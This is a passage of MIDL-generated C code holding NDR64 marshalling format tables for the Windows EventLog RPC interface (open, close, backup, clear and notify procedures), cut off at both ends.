0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag60,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ModuleName */      /* parameter ModuleName */\n        &__midl_frag5,\n        { \n        /* ModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RegModuleName */      /* parameter RegModuleName */\n        &__midl_frag5,\n        { \n        /* RegModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag210,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag210,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag150,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag210,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag41_t __midl_frag41 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag40_t __midl_frag40 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag41\n};\n\nstatic const __midl_frag39_t __midl_frag39 =\n{ \n/* ElfrOpenELW */\n    { \n    /* ElfrOpenELW */      /* procedure ElfrOpenELW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 46 /* 0x2e */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag40,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ModuleName */      /* parameter ModuleName */\n        &__midl_frag5,\n        { \n        /* ModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RegModuleName */      /* parameter RegModuleName */\n        &__midl_frag5,\n        { \n        /* RegModuleName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag132,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag132,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag150,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag132,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag36_t __midl_frag36 =\n{ \n/* RPC_CLIENT_ID */\n    { \n    /* RPC_CLIENT_ID */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* RPC_CLIENT_ID */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag34_t __midl_frag34 =\n{ \n/* ElfrChangeNotify */\n    { \n    /* ElfrChangeNotify */      /* procedure ElfrChangeNotify */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag83,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ClientId */      /* parameter ClientId */\n        &__midl_frag36,\n        { \n        /* ClientId */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Event */      /* parameter Event */\n        &__midl_frag132,\n        { \n        /* Event */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag132,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag31_t __midl_frag31 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag132\n};\n\nstatic const __midl_frag29_t __midl_frag29 =\n{ \n/* ElfrOldestRecord */\n    { \n    /* ElfrOldestRecord */      /* procedure ElfrOldestRecord */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag83,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* OldestRecordNumber */      /* parameter OldestRecordNumber */\n        &__midl_frag132,\n        { \n        /* OldestRecordNumber */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag132,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag22_t __midl_frag22 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag21_t __midl_frag21 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag22\n};\n\nstatic const __midl_frag20_t __midl_frag20 =\n{ \n/* ElfrDeregisterEventSource */\n    { \n    /* ElfrDeregisterEventSource */      /* procedure ElfrDeregisterEventSource */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag22,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag122,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag16_t __midl_frag16 =\n{ \n/* ElfrCloseEL */\n    { \n    /* ElfrCloseEL */      /* procedure ElfrCloseEL */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag22,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag210,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag12_t __midl_frag12 =\n{ \n/* ElfrBackupELFW */\n    { \n    /* ElfrBackupELFW */      /* procedure ElfrBackupELFW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag5,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag258,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag10_t __midl_frag10 =\n{ \n/*  */\n    { \n    /* *WCHAR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag6\n    }\n};\n\nstatic const __midl_frag9_t __midl_frag9 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_NOOP */\n        0x5,    /* FC_EXPR_PAD */\n        (NDR64_UINT8) 4 /* 0x4 */,\n        (NDR64_UINT16) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag8_t __midl_frag8 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag7_t __midl_frag7 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag6_t __midl_frag6 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x43,    /* FC64_CONFVAR_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag7,\n        &__midl_frag8\n    }\n};\n\nstatic const __midl_frag5_t __midl_frag5 =\n{ \n/* _RPC_UNICODE_STRING */\n    { \n    /* _RPC_UNICODE_STRING */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _RPC_UNICODE_STRING */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag10,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag2_t __midl_frag2 =\n{ \n/* ElfrClearELFW */\n    { \n    /* ElfrClearELFW */      /* procedure ElfrClearELFW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag254,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag244,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag274,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1_t __midl_frag1 =\n(NDR64_UINT32) 0 /* 0x0 */;\n#ifdef __cplusplus\n}\n#endif\n\n\n#include \"poppack.h\"\n\n\nstatic const FormatInfoRef eventlog_Ndr64ProcTable[] =\n    {\n    &__midl_frag2,\n    &__midl_frag12,\n    